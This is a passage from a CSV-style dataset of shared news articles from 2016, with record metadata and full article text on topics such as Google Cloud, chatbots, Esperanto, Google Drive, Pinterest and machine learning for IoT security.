Fidelity Information Systems CTO Neil Palmer and developer Todd Ricker describe how they ""ingest, process and analyze the entire U.S. options and equities market in 4 hours using Google Cloud Dataflow , Google Coud Pub/Sub and Google Cloud Bigtable. "" That's 15 TB of data. On a daily basis. That it then makes available for market reanalysis to the regulators. Cloud Platform isn't all about crunching large amounts of data for ginormous financial services firms. It's also about democratizing access to Google's amazing capabilities to the world at large, wherever they may be. In "" Building iOS Apps with Firebase ,"" Google Cloud Developer Advocate Sara Robinson walks users through how to develop a native iOS app using Firebase, a mobile back-end as a service, and then ties that app into Google Cloud Vision API to provide face and object recognition. Rounding out the list of most-watched breakout sessions is Painless container management with GKE & Kubernetes . Brendan Burns, Google's lead engineer on the Kubernetes project, provides context and backstory; Rich Steenberg, principal engineer at WePay, a Kubernetes shop, describes how they're using Kubernetes today; and Tim Hockin, a Google software engineer, describes what's new in Kubernetes 1.2, and what's on tap. Did your favorite session not make the list? Share it in the comments so the rest of the world can benefit from what you learned.",en
1461346421,CONTENT SHARED,-8099145207792678586,3609194402293569455,7649741766499531830,,,,HTML,http://techcrunch.com/2016/04/19/all-your-bots-are-belong-to-us/,TechCrunch launches a personalized news recommendations bot on Facebook Messenger,"We're excited to announce the launch of our cross-platform and personalized news recommendations bot on Facebook Messenger. The bot is part of Facebook's Messenger program revealed at F8, and it will help our readers get the news they want from us in a more conversational way. You can activate the bot on our Facebook page , or click here . techcrunch_01 techcrunch_02 techcrunch_03 Similar to our Telegram bot launched last month , our Messenger bot will help you stay on top of the topics and stories you care about. You can subscribe to different topics, authors or sections of the site, and the bot will send you news articles from TechCrunch about the things you are interested in the most. The bot will send you updates once a day, but if there aren't any stories about the topics you subscribe to, you won't hear from us. You can also ask the bot questions like ""What is Disrupt?"" and it will give you an answer. What makes our bot different? There are two main things that make our bot unique compared to the other ones out there. First, it works on both Telegram and Messenger. We like to give you choice. Second, there's a personalization element right from the start that's connected to your behavior on our website. If there are certain types of articles that you read more frequently on TechCrunch.com, we'll use this data to serve up recommendations from within the bot. For example, if you always read Snapchat articles on TechCrunch, you are more likely to receive updates from our bot about Snapchat. This feature is something that no other Messenger bots currently have. If you rarely visit TechCrunch.com or you regularly clear your cookies, the bot will send you the top stories of the day instead of the personalized ones. You can also subscribe to individual topics to personalize the experience even more (instead of relying on our personalization algorithm). We teamed up with the folks at Chatfuel to make the magic happen, so a big thanks to them for all the help. We'd love to hear your feedback on the bot in the comments section, so don't be shy.",en
1461355647,CONTENT SHARED,5462702203586546682,1895326251577378793,-8896698214888498052,,,,HTML,http://blogs.oglobo.globo.com/ancelmo/post/bolt-teria-recebido-uns-r-12-milhoes-por-campanha-para-o-banco-original.html,Bolt teria recebido uns R$ 12 milhões por campanha para o Banco Original | Ancelmo - O Globo,"Negócios Bolt teria recebido uns R$ 12 milhões por campanha para o Banco Original O banco do Friboi O mercado publicitário estima que o corredor jamaicano Usain Bolt, 29 anos, recebeu entre R$ 10 e 12 milhões para estrelar a campanha de lançamento do Banco Original, 100% digital. O banco, dirigido pelo ex-presidente do BC Henrique Meirelles é do grupo J&F.",pt
1461358993,CONTENT SHARED,3929262240746146680,-1032019229384696495,-2185504317950538738,,,,HTML,http://www.theverge.com/2016/4/21/11482576/google-ceo-sundar-pichai-cloud-ai-future,Google believes its superior AI will be the key to its future,"Google is beginning to look beyond search to tap into some of the most lucrative and promising businesses in the tech industry: artificial intelligence and cloud computing. The company, the largest and most significant part of Alphabet Inc., has grown to mammoth proportions off the back of its search-based advertising division. But those revenues are starting to slow . The cloud allows companies to manage and sell server space and software that lives inside its data centers, like AI, to other large companies. That type of service-based business is fast becoming the new way to reap profits in the tech industry. ""We've always been doing cloud, it's just that we've been consuming it all internally at Google,"" CEO Sundar Pichai said on an earnings call with investors today . ""But as we've grown - really matured in how we handle our data center investments and how we can do this at scale - we've definitely crossed over to the other side to where we can thoughtfully serve external customers."" ""We've always been doing cloud, it's just that we've been consuming it all internally."" That point is key for Google to retain customers as large as Netflix and Spotify, both of which pay Amazon to take advantage of its widely-used AWS cloud platform. Microsoft is the other big industry leader in the cloud, and its Azure product suite is growing rapidly . Google ultimately wants its cloud business to eclipse its advertising one by 2020 , and the ambitious effort is central to the company's ongoing transformation into a business-class service provider. Pichai sees the companies investments in AI techniques like machine learning as the key to its success over its rivals. ""We've been investing in machine learning and AI for years, but I think we're at an exceptionally interesting tipping point where these technologies are really taking off,"" he said. ""That is very, very applicable to businesses as well. So thoughtfully doing that externally we view as a big differentiator we have over others."" Pichai also mentioned Diane Greene, the company's new senior VP for enterprise businesses , as another point of strength given her role as CEO of cloud pioneer VMware. ""In the long run, I think in we will evolve in computing from a mobile-first to an AI-first world,"" Pichai said in closing. ""And we're at the forefront of the development.""",en
1461371583,CONTENT SHARED,532564948976818124,-7496361692498935601,-3912704179774376373,,,,HTML,http://www.imdb.com/title/tt2234222/,Orphan Black (TV Series 2013- ),"Top Rated TV #249 | Nominated for 1 Golden Globe. Another 40 wins & 49 nominations. See more awards "" Storyline SPOILER: Orphan Black follows outsider, orphan and street-wise chameleon Sarah. After witnessing a woman's suicide, Sarah assumes the stranger's identity - who happens to look just like her. Expecting to solve all her problems by cleaning out the dead woman's savings, Sarah is instead thrust headlong into a kaleidoscopic mystery as she realizes the dizzying truth - she and the dead woman are clones. As Sarah searches for answers, she discovers the chilling fact that there are more people like her out there - genetically identical individuals who were planted in unsuspecting birth parents and nurtured in completely different circumstances. With no idea who created the clones, she'll need to discover the reason in a hurry as an assassin is killing them one by one. Written by Annonymous Details Release Date: 30 March 2013 (USA) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia Melanie Nicholls-King is Canadian, but Amelia is South African. See more "" Goofs In Season 1, it is mentioned that Donnie and Alison were high school sweethearts, but in later seasons that are described as meeting in college. See more "" Soundtracks Main Title Theme Written by Two Fingers Performed by Two Fingers See more "" User Reviews Message Boards Recent Posts",en
1461377227,CONTENT SHARED,-1730766821655383888,-4028919343899978105,6421399179405092291,,,,HTML,http://www.engadget.com/2016/04/22/accidental-discovery-batteries-last-years-longer/,Accidental discovery could help batteries last years longer,"The researchers were hunting for an alternative to lithium, whose liquid state helps conduct charge but is combustible and sensitive to temperature. Nanowires have been a long-theorized dream battery material as their high surface area holds a lot of electric charge, but wire corrodes in traditional lithium environments after several thousand cycles. The researchers discovered how to prevent that corrosion while fiddling with different materials. They coated the gold nanowire they were using in manganese dioxide and swapped the lithium for electrolyte gel. The gel and oxide fused into a protective sheath around the wire, and voila: the experimental battery completed hundreds of thousands of cycles over a period of three months with no detectable degradation. Of course, even the tiny amount of gold wire used was expensive. While they haven't tested it yet, the researchers suggest nickel as an adequate substitute should the concept reach mass production.",en
1461416764,CONTENT SHARED,-535029905294961110,-1032019229384696495,8050852261508857085,,,,HTML,http://motherboard.vice.com/read/why-humans-dont-have-a-universal-language,Why a Universal Language Will Never Be a Thing,"One of the cooler experiences I've had happened in a Chinese restaurant in Peru. I got into a conversation with the waiter, a Chinese immigrant who didn't speak English (for obvious reasons). We both communicated fine in Spanish, our second language. This got me thinking-why the heck don't we humans all decide to learn the same language so we can finally all speak to each other? Why are distinct languages still a thing? There have actually been various attempts at creating a universal human language; the most famous one is called Esperanto . But it turns out that, for many reasons, we'll probably never have a universal human language. You can probably take a stab at a few of these reasons, and you'd be correct: Language is culture; not everyone has the internet, which would presumably be used to disseminate a universal language; getting everyone to agree on anything is difficult; politics are complicated, etc. What I'm saying is it's not hard to see why we still have languages. But this is not the end of the column! There are technical, scientific, and cultural factors that are instructive in exploring why humans, and Earth as currently constructed, aren't well-suited to having a universal language. Language is identity ""The way you talk communicates a tremendous amount of things about who we are. Because we have separate identities, we have separate languages,"" Marc Ettlinger, a theoretical phonologist for the Department of Veterans Affairs who currently studies the relationship between brain injuries, hearing loss, and language, told me. ""People assumed that with the invention of TV, dialects would be homogenized and people would speak generic prestige dialects . But what we found out is that dialects have diverged in the United States as a result of media homogenization. People are looking for more ways to differentiate themselves."" For many groups of people, having a specific language is to say ""I exist."" Language, then, is identity, which Ettlinger argues is slightly more specific distinction than simply saying that it's ""culture."" A common example of this is a phenomenon: White suburban kids who listen to rap music can consciously or unconsciously choose to pick up an urban dialect of English they never would have been exposed to before. The resulting mix between the two dialects communicates to the rest of the world something about the person who picked it up. Dialects are not languages per se (though where a dialect ends and a language begins is a sometimes contentious debate in the linguistics community), but the example above is illustrative of how language evolves. Danish and German are often mutually intelligible, as are Norwegian and Swedish, as are Urdu and Hindi, but, for political and identity reasons, all of them are considered to be their own distinct languages. When a Danish person speaks Danish, he or she is saying ""I am Danish and I'm proud of being Danish,"" according to Ettlinger. India and Pakistan's ongoing rivalry has led the two countries to try to make their languages as unique as possible. Both Urdu and Hindi are derived from a language called Hindustani, but now, when the need for new technical words arises, Hindi will borrow from Sanskrit, while Urdu will borrow from Arabic. Countries often have specific economic and political interests in preserving, protecting, and promoting their own language. An important step in the evolution of any language is when a technical register evolves for that language, meaning it formalizes to the point where universities can be established that teach only in that language, scientific papers and laws can be written in that language, etc. For many groups of people, having a specific language is to say ""I exist."" That's why, politically, languages like Basque and Kurdish are so important to the people who speak them. ""In Turkey, the Kurdish identity is really important. But there's also another language called Laz-it's a Caucasian language related to Georgian-and it's dying and it's not politically as big of a deal,"" Ricardo Rivera, a linguistic anthropology Ph.D student at the University of California, Berkeley (who is also one of my best friends), told me. ""The Laz people are primarily Turkish nationalists , their kids speak Turkish. It's not an ethnic marker in the same way Kurdish is."" We don't know how many total languages there are on Earth, but most estimates suggest we have somewhere around 7,000 , which Ettlinger believes is down from more than 10,000 several hundred years ago. Colonization, conflicts and violence against indigenous people, globalization, and urbanization are the biggest factors for this decline. These are almost entirely sociological and anthropological causes, not linguistic or scientific ones. Today, if you live in a small village in a developing country, for example, there's a good chance you may want to move to your country's urban center to have better economic opportunities. In doing so, you'll probably be leaving your village's indigenous language behind. Why languages will continue to evolve and why new languages will continue to form New languages don't pop up overnight, but new languages are still forming and do have utility. In the Persian Gulf, for example, an immigration boom from south Asia has led to new Arabic pidgins . Pidgins are rudimentary means of communication between two groups that don't have a language in common. While a pidgin isn't ""a language"" in the same way that, like, French is, it can be a seed of a new language. Pidgins usually don't have established grammar, but they often evolve into creoles , which are languages that originate as a mixed language. ""In Oman and these Gulf states, you have so many South Asian migrant laborers who speak an Arabic pidgin that has a lot of Hindi and Nepali words,"" Rivera said. ""They're here from France, Germany, and Switzerland, and we have animated conversations during our hikes and meals on every topic, in only Esperanto"" The path is something like this: Adults who don't have a language in common with each other speak a pidgin, which is usually made up of some mixture of simple words, sounds, and body language. Those adults still have their own native language, however, which is important. Languages evolve much more rapidly when there are native speakers of that language. Naturally, when those adults have children, the native language of many of those children will be the pidgin, which is where the real fun begins. ""When it's a more permanent group, it becomes a native language of the next generation of children, and it develops a grammar naturally because that's what they have to work with,"" Rivera said. This is where things get very interesting-language evolves, always. And children are often the ones driving that evolution. And this brings us to Esperanto. Why a universal first language will never work Esperanto was invented in the late 1800s by L.L. Zamenhof, a Polish ophthalmologist. Yes, invented. Esperanto is a ""constructed"" language, meaning it was consciously designed by a person or group of people (other examples include Klingon and Elvish). Esperanto was designed to be a universal second language. If things had worked out as Zamenhof had hoped, maybe I would have spoken to my Chinese waiter in Esperanto. Esperanto is not really popular in the grand scheme of things-there are believed to be, at most, about 2 million Esperantists . It is the most successful attempt at a universal language, however, and there are Esperanto meetups and conferences all around the world. There's an Esperanto science journal , Esperanto magazines , an Esperanto Duolingo course . I tried to speak to someone at Seattle Esperanto Society , but I couldn't, because the president of it was ""in the middle of a hiking week with nine other Esperantists."" ""They're here from France, Germany, and Switzerland, and we have animated conversations during our hikes and meals on every topic, in only Esperanto,"" he told me in an email. Because constructed languages aren't native languages, they don't usually evolve in the same way. ""Every new learner of the language has reforms they might recommend-it's part of learning the language,"" William Harrison, director of Esperanto-USA told me. ""Most of the time they don't go anywhere, because if you want to have a language that'll be understood when you go to China for instance, you can't have confusion."" As such, Harrison says there aren't really specific Esperanto ""dialects,"" because the adults who learn Esperanto are consciously trying not to make changes to the language. A Russian who speaks Esperanto may have a Russian accent, but she won't use different words altogether. Anyways, lots of linguists look at Esperanto as an interesting curiosity, but not something that can be studied as intensely as natural languages. But something crazy has happened: Some Esperantists are so into the language that they have begun to bring their children up as native Esperanto speakers . Esperanto, then, is becoming a natural language for these children. And the children are doing what children do: They're changing the rules of the language, and adults aren't always going to be able to pick up on and fix every change. ""Because of the ways kids' brains work, they will do things to a language as they're learning it that also changes it. A good example is called ' over regularization .' In English, kids will say 'I eated the cookie,'"" Ettlinger said. ""Over time, something like that can become normalized and become the accepted version."" Changes like this (among lots of other changes) are why English today is not the same language it was a few hundred years ago. ""If you hear someone speak Esperanto, you know immediately that it's a person who prioritizes and thinks very highly of globalization and in the power of mankind"" A native Esperanto speaker in China, then, will change different things than a native Esperanto speaker in Chicago, who will change different things than a native Esperanto speaker in the Chicago suburbs. In fact, some of the only studies on the subject found that native Esperanto is indeed different than learned Esperanto. The world is globalized, but it's not so connected that changes of this nature will happen in the same way across the planet.. This was all a long way of explaining that even if by some act of nature all humans woke up tomorrow and everyone spoke the exact same language, that language would change and evolve and eventually we would have the same situation we have now, which is a whole lot of languages. ""Anyone trying to create a language should know that languages change, and they aren't all going to change in the exact same way,"" Ettlinger said. ""Pretty soon, you're back to having hundreds of languages."" So why do Esperantists bother with a language that will never actually be universal? It all comes back to the idea that language is identity. ""If you hear someone speak Esperanto, you know immediately that it's a person who prioritizes and thinks very highly of globalization and in the power of mankind,"" Ettlinger said. ""They're speaking Esperanto because they want to communicate to others that they share this dream of a globalized world."" Why Is This Still a Thing is a column exploring the anachronistic, seemingly-outdated technology that surrounds us. New columns appear every Friday.",en
1461417460,CONTENT SHARED,-5500597021296520708,-1032019229384696495,8050852261508857085,,,,HTML,http://www.techrepublic.com/article/google-drive-grows-more-powerful-feature-by-feature/,"Google Drive grows more powerful, feature by feature - TechRepublic","In the early days, Drive mostly served as a central store for Google Docs, Sheets, and Slides. Later, Drive added support to store all sorts of files, and offered integration with Microsoft Office. Yet some things remained awkward. The Google Drive sync client offered few configurable options. The Google Drive for Office plugin didn't support Outlook. Administrators accustomed to shared file servers struggled to set up Drive share settings correctly. The list went on. In recent months, the Google Drive team has released several seemingly small, but significant, improvements. 1. Selective sync (Windows, Mac, and Chrome) You can choose which files and folders you want to sync from Google Drive to your device. Selective sync reduces the amount of local storage needed. For example, I choose to sync just 100MB of files What's Hot at TechRepublic out of the more than 200GB of files that I store on Google Drive. The change makes the Google Drive sync app more useful on Mac and Windows systems with limited storage - including inexpensive Windows systems designed to compete with Chromebooks. Selective sync also reduces network traffic, which can have a significant impact at sites with many devices. When someone makes a change to a file, only the people who choose to sync that file will use bandwidth. No more will one small change to a massive PowerPoint file prompt a re-sync for every device in the office. People who don't choose to sync the file may always access the file in the browser. Sync only the folders you need. The Google Drive app syncs not only the folders you select, but also all unfiled items in the folder at the same level. In my case, I had dumped files in the main ""My Drive"" directory of Google Drive for years. When I selected a single sub-folder to sync, I ended up with 4.8GB of files to sync - because the app synced all the files in the ""My Drive"" directory along with the sub-folder I selected. I moved files from the main ""My Drive"" directory into various sub-folders, which reduced the default quantity of files synced to 0MB. So, for maximum control over sync, you may want to change where you store files. To configure selective sync, install or update the Google Drive app on your Mac or Windows system, then select the folders to sync during setup. (Google also will allow you to select a specific Google Doc, Sheet, or Slides file for offline access within Chrome. For organizations, a Google Apps Admin may disable the feature.) 2. Set file access expiration dates (Browser) You can set an expiration date to end access to a shared file. This can be a useful way to grant temporary access to a document. Share your file with someone, as usual, add their name or email address, then change their access level to either ""Can Comment"" or ""Can View"". Send the invitation. Next, select the Share button again, then choose ""Advanced"". Move the cursor over the line containing the name of the person and you'll see a watch icon. Select the watch, then configure how long you want to offer access: 7 days, 31 days, or any date you choose. 3. Added third-party app support An update to Google Drive on Android now lets you open a file from Drive, edit it, then save changes back to drive. This works not only with Google Docs, Sheets, and Slides, but also with other file formats. For example, from within the Google Drive Android app, you can tap a Markdown file to edit with a third-party Markdown editor, such as IA Writer. Your edits are saved to Google Drive. Similarly edit images with a photo editor, such as Snapseed or Google Photos. On Windows, Google Drive supports Outlook attachments as part of the Google Drive for Office plugin . That means you may save files you receive in Outlook email to Google Drive, and attach files from Google Drive to email you send. It's a nice addition to the Office file editing features we covered in the summer of 2015 (see "" How to edit Microsoft Office documents stored on Google Drive ""). 4. Improved instructions Finally, Google has significantly improved online training pages for users and administrators. The site provides a nice guide to the basics of Google Drive, and includes a series of tips for users switching from Box, Dropbox, or Microsoft OneDrive. Google gives administrators better guides, too. For example, an administrator accustomed to a conventional file server for a small office used to have to read several pages of documentation to figure out how to configure Google Drive share settings. Now, Google gives a concise, one-page guide - with illustrations! - that walks an administrator through a three-step process to set up an organization's file share . SEE: "" The first five steps new Google Apps administrators should take "" (TechRepublic) What do you think? Collectively, I think these improvements signal how serious the Google Drive team is about attempting to meet the real needs of real users today. That's likely a reason that many features address the needs of people who use Microsoft Office or Windows systems. What changes to cloud storage have made the greatest impact on your work in the past six months? What changes to Google Drive would you most like to see? Also see: "" How to edit Microsoft Office documents stored on Google Drive "" (TechRepublic) "" Need to free up disk space? Now Google Drive lets you pick which folders to sync "" (ZDNet) "" Quick Tip: Sharing Google Drive files is now a bit easier "" (TechRepublic) "" How to transport your files to Google Drive "" (TechRepublic) "" Steering around the potholes with Google Drive "" (TechRepublic)",en
1461417708,CONTENT SHARED,1544550983918141657,-1032019229384696495,8050852261508857085,,,,HTML,http://www.businessinsider.com/pinterest-ceo-on-grit-versus-stuborness-2016-4,"When not to quit, according to the founder of an $11 billion startup that took a while to get off the ground","Getty / Michael Kovac Note: This is an excerpt from a longer interview with Pinterest CEO Ben Silbermann. You can read the full Q&A here. Ben Silbermann is the CEO one of the most valuable private companies in Silicon Valley: Pinterest. But his photo-collection startup wasn't always a rocket ship. In March 2010, four months after launching the company, Pinterest had just a few thousand users. Compare that to Instagram, which had about 1 million users after that same amount of time. ""So March 2010 we launched Pinterest and we were at 3,000 accounts"" Silbermann told a crowd of entrepreneurs about Pinterest's slow start in 2012. ""And that wouldn't be so bad if we hadn't started building Pinterest actually in November 2009. And that alone wouldn't have been so bad if I hadn't left my job to start a company in May 2008."" Since then, Pinterest has grown tremendously to more than 100 million monthly active pinners. A round of financing in March 2015 gave the company an $11 billion valuation. Silbermann's team is now focused on monetization, likely preparing to go public, and it reportedly generated more than $100 million in 2015. In an interview with Silbermann, I asked him how he knew not to throw in the towel back when Pinterest was slow to get off the ground. In general, his advice to founders is to not quit, as long as they're able to persevere from an emotional and financial standpoint. ""My general advice is keep going, because usually the inertia of your own insecurities and people around you is something that should be pushed back against,"" Silbermann said during the interview in early April. ""I was listening to an NPR story with Shankar Vedantamabout grit . Grit's this kind of heralded virtue now, but he asked at the end of the story, 'What's the difference between grit and stubbornness?' And the answer can only be told looking back."" He continued, "" If things work out well you say, 'Oh, that was grit.' If it turns out that you just toiled and completely failed it's, 'Oh, that was just wrong-headed stubbornness.'"" If things work out well you say, 'Oh, that was grit.' If it turns out that you just toiled and completely failed it's, 'Oh, that was just wrong-headed stubbornness' ""My general advice is to keep going even though there are a lot of things that are telling you not to. The reason there's no simple answer [to what's grit versus stubbornness] is because it's kind of told in retrospect."" The NPR piece used Isaac Newton as a good example of someone who could be viewed as both having grit and being stubborn. But ultimately, he was viewed as a success. ""Coming up with calculus - that was grit,"" Silbermann recalled of the NPR story. ""But the decades he spent trying to turn lead into gold - that was stubbornness. But it was the same guy. I thought that was a really telling thing. So when entrepreneurs ask me, that's usually what I tell them. You should bias toward keeping going unless you're not personally in the position emotionally or financially where you can do that."" Silbermann also noted that the difference between a successful company and a failed one is execution. Prior to Pinterest, Silbermann tried to build a number of companies that never got any traction. ""The big lesson I learned - because I blew up a bunch of companies [before Pinterest], and by that I mean they never got off the ground, they just failed - is ideas are about as good as the execution behind them,"" he said. ""A great learning experience for me is how many great people are required to execute ideas really well and how thin the line is between seeing great execution looking back and poor execution.""",en
1461425953,CONTENT SHARED,5163772683749067995,-1443636648652872475,-9130487001564856410,,,,HTML,http://techcrunch.com/2016/04/22/how-iot-security-can-benefit-from-machine-learning/,How IoT security can benefit from machine learning,"Computers and mobile devices running rich operating systems have a plethora of security solutions and encryption protocols that can protect them against the multitude of threats they face as soon as they become connected to the Internet. Such is not the case with IoT . Of the billions of IoT devices presently in use, a considerable percentage are sporting low-end processing power and storage capacity and don't have the capability to become extended with security solutions. Yet they are connected to the Internet, nonetheless, which is an extremely hostile environment. Basically, it's like going to the battlefield without armor. That's why new IoT vulnerabilities are constantly surfacing, and countless IoT devices are falling victim to hacks, botnets and other evil deeds every day. It takes mere minutes for a malicious hacker to find thousands of vulnerable devices in the search engine Shodan , and compromised IoT devices frequently become beachheads for more serious hacks in networks. The bottom line is that too many of our smart devices are inherently too dumb to protect themselves (and us) against cyberattacks. But this is a gap that can be bridged with machine learning and analytics, especially as it is becoming more readily available to developers and manufacturers. IoT devices are generating tons of data, and machine learning is being employed to analyze and peruse that data to help improve efficiency and customer service, and reduce costs and energy consumption. The same mechanics can be employed in security-related use cases, such as determining safe device behavior and general usage patterns, which can subsequently help to spot and block abnormal activity and potentially harmful behavior. Already, several tech firms are drawing on this to offer solutions that enhance IoT security, especially in smart homes , where there are no defined security standards and practices. Leveraging the cloud to consolidate intelligence ""Machine learning and behavioral analysis is one of the biggest trends in detecting anything and everything these days,"" says Alexandru Balan, Chief Security Researcher at cybersecurity tech firm Bitdefender . However, he elaborates that machine learning still has a long way to go and there needs to be ""a lot of research and innovation into developing, implementing and testing the algorithms."" Bitdefender's approach is to aggregate into a cloud server data from all endpoints that rely on its products; the input is analyzed to determine patterns and spot malicious behavior. ""You gather all the traffic,"" says Balan, ""sanitize and normalize it, learn from it, see what servers the devices talk to, what other devices they talk to, how they normally interact with the Internet and with each other, and you pick up on the abnormal traffic."" Machine learning is very promising, but it is still in its infancy and has a long way to go. Bitdefender uses cloud-based intelligence and pattern recognition, along with local network analysis through its suite of endpoint security software and hardware, to control Internet traffic in home networks and block connections to malicious URLs, malware downloads and suspicious packets. Leveraging cloud services has enabled the company to bring enterprise-level intelligence and protection to the consumer space. Human-aided machine learning ""Machine learning is a critical component to developing Artificial Intelligence for IoT security,"" says Uday Veeramachaneni, co-founder and CEO at PatternEx . ""The problem is that the IoT's will be distributed massively and if there is an attack you have to react in real-time."" Most systems relying on machine learning and behavior analysis will gather information about the network and connected devices and subsequently seek everything that is out of normal. The problem with this primitive method is that it produces too many false alarms and false positives. The approach suggested by PatternEx is to develop a solution that incorporates machine learning and augments it with human analyst insight for greater attack detection. ""The way to address this in real time is to create a learning system that takes those outliers and solicits human feedback on them,"" Veeramachaneni explains. ""The human alone can distinguish between malicious and benign, and that feedback returns to the system to create predictive models that can mimic human judgment - but at huge scale and in real time."" This is especially pertinent in IoT ecosystems, where large numbers of devices are involved, and the real-time analysis of the overwhelming amount of data generated are beyond human abilities. PatternEx uses machine learning algorithms to do outlier detection, and trains the model to be more accurate in real time. The training is done by a human, the analyst who can spot a new attack happening. The system generates events that indicate potential attacks. The human investigates the events and determines whether the system was correct in its assessment or not. The system learns from the experience and makes more accurate decisions next time. ""This model helps improve threat detection accuracy and decrease the number of false positives dramatically over time,"" Veeramachaneni says. Taking advantage of limited functionalities of IoT devices IoT devices are designed to carry out a limited set of functions. Therefore, with a bit of machine learning and enough data, it becomes pretty easy to identify anomalous behavior. This idea was leveraged by startup tech company Dojo-Labs to create a smart-home IoT security solution. ""When it comes to IoT devices they were designed to do a very, very specific function,"" says Yossi Atias, co-founder and CEO of the company. ""So assuming we have a lot of users using the same camera or the same smart TV or the same smart alarm or smart lock, there is no real reason that one device will behave different from the other, because they're all running the same software, which is not something the user can change."" Dojo-Labs' method involves collecting metadata from different endpoints and defining the behavior range of each device type in order to be able to spot and block malicious behavior. As with all solutions involving machine learning, Dojo-Labs' model improves as it collects more and more data from customers. The solution includes a pebble-like device that gets installed in the home network, a mobile app that allows the user to control the device and monitor the network status and a cloud service where the data is consolidated and analyzed using proprietary statistical tech and mathematical models coupled with machine learning algorithms. There are some caveats to machine learning Machine learning is very promising, but it is still in its infancy and has a long way to go. And by no means can it be considered a complete solution by itself. ""[Machine learning] is going to be virtually everywhere,"" says Veeramachaneni. ""To get security in the enterprise or in the IoT realm, you have to have powerful machines organizing data, crunching data, and seeking patterns in data. But you also need the human's intuition to spot new attacks and to train the system to stop these new (and old) attacks."" Veeramachaneni calls this combination ""augmented intelligence,"" an alternative for the acronym AI, which is where the strengths of both man and machine converge to defeat cyber threats. ""Neither machine learning nor humans can do it alone,"" he says. Featured Image: a-image / Shutterstock",en
1461429771,CONTENT SHARED,-2516726696296387544,-1032019229384696495,8050852261508857085,,,,HTML,http://techcrunch.com/2016/04/23/when-will-ai-and-nlp-actually-turn-siri-into-your-best-friend/,When will AI and NLP actually turn Siri into your best friend?,"The discussion around robots has only increased in the past few years - especially when things like IBM Watson and Siri are well-known topics for everyday conversation. But beyond the physical capabilities of robots, the bigger question is what robots' minds will be capable of in the future. How will we communicate with a robot's mind? Will it only act in the physical world or will it also be able to act in the Internet world? We're at the start of yet another software revolution. Things we take for granted - the graphical user interface (GUI) and the app - are becoming extinct, and conversational interfaces are fast becoming the new norm. It started with Siri, a natural language query system, followed by Alexa, which is moving more toward task automation. This results in a centralized place where the user converses to accomplish things. As technology becomes more advanced, AI gets smarter. But it's not all about performing tasks. Robots can be so much more. People desperately want to bond with things, whether it is other people, pets, cars or software. For Cortana (initially a video-game character in Halo) , Microsoft asked the game studio to help define her character. Yet, Cortana is barely a personality and does not converse. You can ask her questions, but don't expect her to ask you anything back. She has a minimal back story. ""That wittiness and that toughness come through,"" claims Mike Calcagno, director of Cortana's engineering team. Even without fleshing out the real character, in its early days, when Cortana was unreliable, unhelpful and dumb, people got attached to it. What would she be like if she actually had a developed persona? If she didn't merely answer questions? The rise of bots Bots create a new way for people to interact with apps, and some have proclaimed that they could effectively take over from their mobile app brethren . Companies are hedging bets on it, from behemoths like Facebook to emerging messaging players like Telegram to companies that enable you to build bots, like Chatfuel . With Facebook Messenger's bot store plans , the average consumer will soon be introduced to what the Silicon Valley tech market has talked about for more than a year. There is no doubt that bots will fundamentally alter the way people engage with software. They can also change the way brands or companies interact with their customers. But to do more than create a simpler, easier UI for applications, conversational interfaces and chatbots need to do something different than what Siri does today. They can't simply replace a traditional-app GUI or replace the need to go to a website. They need to make us feel something. Enter the uber-bot, the one you talk to that controls all the specific task bots on your behalf. This is the bot that can become your friend or your slave. What if the uber-bot could create a deeper, more personalized connection by appealing to someone's most primal emotions, exactly when they feel them? Maybe make someone laugh when it's not expected, help someone when they're confused or talk them off the ledge when they're angry or frustrated. Wouldn't that create a bond? And how will such a bot be created? Limitations of AI Machine learning and crowdsourcing are great AI panaceas. But they have their limitations, particularly in conversation. IBM's Watson learned how to swear. Microsoft didn't learn from that mistake, creating a chatbot named that was supposed to be a 19-year-old female. They used neural nets on lots of online data to train the bot to talk like a teenager and added some fixed content. Then they allowed Tay to learn new material as it conversed, which didn't go so well . So really, robots as we currently build them are just a step along the way. Unsupervised learning from random Internet users is problematic. There have been several crowdsourced projects to learn facts or acquire common sense, among them Mindpixel , Never-Ending Language Learning (NELL) and Open Mind Common Sense . But supervision is required. Every few weeks, humans must examine the data learned by NELL to clear out things it learned incorrectly. NELL learned that Internet cookies are a type of baked goods (because they are cookies). Then it learned that Internet cookies get deleted. Then it learned files get deleted. Therefore, files must also be baked goods. Hmmm. The role of bots in emotional analytics One of the current hot topics is emotional analytics. This covers detecting emotions on human faces, sentiment analysis in text and emotional signals in voice. Mostly it is being used to covertly spy on people for gaining marketing intelligence. But it can also be used by a chatbot to guide the conversation, to make it immediately valuable to the human. Emotion creates engagement. The rise of chatbots will create the need for a new UX designer - the cyberpsychologist. Without a personality, the conversational interface of any app becomes quite boring and robotic. My wife Sue is such a cyberpsychologist at Brillig Understanding. According to her, an important element needed for a conversational relationship includes trade goods. When you ask someone a personal question, you are expected to have something to offer in return. A conversation is like a treasure hunt for nuggets to exchange. The AI has to have had a life, a history and interesting things to talk about. Not average things, but unusual things, because you want people to be eager to chat with it. It's also important for the AI to have memory so it can learn about the human, remembering facts about him to reuse later. An AI must also have a consistent personality, or you can't relate to it. This means it provides a degree of predictability and is thus able to take you by surprise occasionally. A well-written AI has a long tail of things it seeks to recognize in what you say to enable it to make occasional perfect matches of its response in the context of the conversation. Most people will never see many of the responses it scripts, but when they do, they have a ""Eureka moment"" and are certain the chatbot understands. The goal is to create the illusion of understanding, which means mostly trying to avoid obvious failures and providing occasional ""aha"" moments. Chatbots that work Xiaoice is a chatbot on Weibo in China that brings conversation to life. Millions of young Chinese exchange messages with her daily. People often talk to her when they break up with someone, lose a job or are otherwise depressed. But she is not always a polite listener. She answers questions like a 17-year-old girl, and can be impatient or lose her temper. She picks out pairs of questions and answers from prior conversations, so she is not completely scripted. But she is careful about what she learns, not indiscriminately learning as Tay did. Xiaoice remembers details from previous exchanges, such as a breakup, and asks in later conversations how that user is feeling. Angela is another popular mobile app that has had more than 60 million downloads. It has been four years since its launch and this month she was still in the top 10 in Entertainment apps on the iPad. She's a 19-year old female cat always up for a good conversation. A review in the app store said: This is otherwise fun, but Angela gets on my nerves. She always is so selfish! Like once she said ""I lied to someone but then I felt bad because if I had told the truth they'd have thought I was very creative!"" That's not the point! It's not all about her feelings! Also, she mentioned how using electronics isn't good for the world then states that she refuses to give them up though because she'd rather have them! What a brat! She really annoys me when she acts selfish and it happens all the time! Oh yeah and she always is so rude to me and ""putting me down"" but when I'm mean back she gets furious! She is a selfish hypocrite! Clearly Angela reflects the teen personality. It truly is all about her feelings. And she is selfish at times. And not only can she be 